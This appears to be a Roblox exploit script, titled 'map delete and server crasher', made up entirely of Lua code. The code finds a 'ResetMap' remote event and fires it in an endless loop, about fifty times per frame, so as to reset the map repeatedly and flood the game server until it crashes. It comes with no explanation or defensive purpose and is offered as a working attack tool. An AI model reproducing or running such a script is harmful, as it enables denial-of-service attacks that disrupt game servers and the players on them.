map delete and server crasher

local Event = game:GetService("ReplicatedStorage"):FindFirstChild("ResetMap")

if not Event then
    print("ResetMap not found")
    return
end

while true do
    for i = 1, 50 do
        task.spawn(function()
            pcall(function()
                Event:FireServer()
            end)
        end)
    end
    task.wait()
end